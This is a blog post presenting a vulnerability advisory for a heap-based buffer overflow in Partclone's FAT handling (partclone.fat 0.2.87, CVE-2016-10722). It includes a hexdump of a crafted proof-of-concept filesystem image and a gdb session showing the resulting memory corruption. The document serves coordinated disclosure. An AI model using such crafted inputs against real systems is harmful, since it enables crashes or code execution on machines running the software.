During my semester abroad I experimented a bit with the great fuzzer american fuzzy lop (afl).
Due to my background with the OpenClone project I was curious about the security of the Partclone partition imaging software.
It didn't take long and afl found some crashes. I analyzed them, built proof-of-concepts and reported the issues to the Partclone project.
Here you can find the full version of the first advisory. The vulnerability is fixed since Partclone 0.2.88.
Stay tuned for a second advisory. I will delay its publication, since the vulnerability is not fully fixed yet.
Update: CVE-2016-10722 was assigned to this issue.
======================================================================= title : Partclone FAT Bitmap Heap Overflow product : Partclone version : 0.2.87 homepage : http://partclone.org/ found : 2016-01-03 by : David Gnedt ======================================================================= Vendor description: ------------------- Partclone is a partition imaging tool supporting the FAT filesystem. Partclone is shipped by various Linux distributions and used by specialized disk cloning systems like DRBL (http://drbl.org/), Clonezilla (http://clonezilla.org/), Redo Backup (http://redobackup.org/), ... Vulnerability overview/description: ----------------------------------- partclone.fat is prone to a heap-based buffer overflow vulnerability due to insufficient validation of the FAT superblock. An attacker may be able to execute arbitrary code in the context of the user running the affected application. The vulnerability is located in fatclone.c and bitmap.h. get_used_block() allocates memory for the FAT bitmap based on the sectors field of the FAT superblock. mark_reserved_sectors() then writes a number of 1 bits into the FAT bitmap based on multiple other fields of the FAT superblock but without bounds check, leading to a buffer overflow. Due to an integer overflow in get_cluster_count() and specially crafted FAT entries processed by the check_fat*_entry() functions, an attacker can also write arbitrary data beyond the bounds of the allocated buffer. readbitmap() is prone to similar heap buffer overflows. Summarized enumeration of stack traces where heap overflows can happen (only top 3 frames): #0 pc_clear_bit at bitmap.h:22 pc_set_bit at bitmap.h:15 #1 check_fat12_entry at fatclone.c:337,341,345 check_fat16_entry at fatclone.c:309,313,317 check_fat32_entry at fatclone.c:282,286,290 mark_reserved_sectors at fatclone.c:218,223,228 #2 get_used_block at fatclone.c:467,485,487,489 readbitmap at fatclone.c:405,427,429,431 Integer overflow in get_cluster_count() fatclone.c:135 [...] data_sec = total_sector - ( fat_sb.reserved + (fat_sb.fats * sec_per_fat) + root_sec); [...] Proof of concept: ----------------- The proof of concept filesystem was created using mkfs.fat from dosfstools with a size of 68 blocks (34816 bytes) and cluster size of 1. For triggering the integer overflow, the fat_length is increased from 0x01 to 0x12. The FAT entries are modified. To shorten the PoC, the filesystem is truncated to 2048 bytes. $ hexdump -C poc.img 00000000 eb 3c 90 6d 6b 66 73 2e 66 61 74 00 02 01 01 00 |.<.mkfs.fat.....| 00000010 02 00 02 44 00 f8 12 00 20 00 40 00 00 00 00 00 |...D.... .@.....| 00000020 00 00 00 00 80 00 29 1f 27 1a 0b 4e 4f 20 4e 41 |......).'..NO NA| 00000030 4d 45 20 20 20 20 46 41 54 31 32 20 20 20 00 00 |ME FAT12 ..| 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 000001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.| 00000200 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| * 00000270 ff ff ff ff ff ff ff ff ff ff de ad 00 00 00 00 |................| 00000280 00 00 00 00 00 00 de ad 00 00 de ad 00 00 00 00 |................| * 00000470 00 00 00 00 00 00 de ad 00 00 00 00 00 00 00 00 |................| 00000480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00000800 $ gdb --args partclone.fat -c -s poc.img -O /dev/null -L /dev/null -F GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1 (gdb) b fatclone.c:467 Breakpoint 1 at 0x408d36: file fatclone.c, line 467. (gdb) r Partclone v0.2.87 http://partclone.org Starting to clone device (poc.img) to image (/dev/null) You are not logged as root. You may have "access denied" errors when working. Reading Super Block Breakpoint 1, get_used_block () at fatclone.c:467 (gdb) p total_sector $1 = 68 The filesystem is 68 blocks long, so the bitmap will be 68 bits long. The bitmap buffer size is 16 byte (rounded to 64 bit integers). The buffer after initialization: (gdb) x/8xg fat_bitmap 0x6112b0: 0xffffffffffffffff 0xffffffffffffffff 0x6112c0: 0x0000000000000000 0x0000000000000161 0x6112d0: 0x00007ffff77587b8 0x00007ffff77587b8 0x6112e0: 0x00006f6d2e656e6f 0x0000000000000141 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x0000000000408b0e in pc_clear_bit (bitmap=0x6112b0, nr=1010304) at bitmap.h:22 (gdb) bt #0 0x0000000000408b0e in pc_clear_bit (bitmap=0x6112b0, nr=1010304) at bitmap.h:22 #1 check_fat12_entry (fat_bitmap=0x6112b0, block=, bfree=, bused=, DamagedClusters=) at fatclone.c:341 #2 0x0000000000408dfe in get_used_block () at fatclone.c:489 #3 initial_image_hdr (device=0xf6a80 , image_hdr=0x7fffffff8cc0) at fatclone.c:363 #4 0x000000000040309d in main (argc=-29936, argv=0x3daa) at main.c:251 The buffer after crash: (gdb) x/8xg fat_bitmap 0x6112b0: 0xffffffffffffffff 0xffffffffffffffff 0x6112c0: 0x4141414141414141 0x4141414141414141 0x6112d0: 0x4141414141414141 0x4141414141414141 0x6112e0: 0x0000000000000000 0x0000000000000000 Vulnerable/tested versions: --------------------------- The vulnerability is verified to exist in 0.2.87 of Partclone, which is the most recent version at the time of discovery. Older versions are probably affected as well.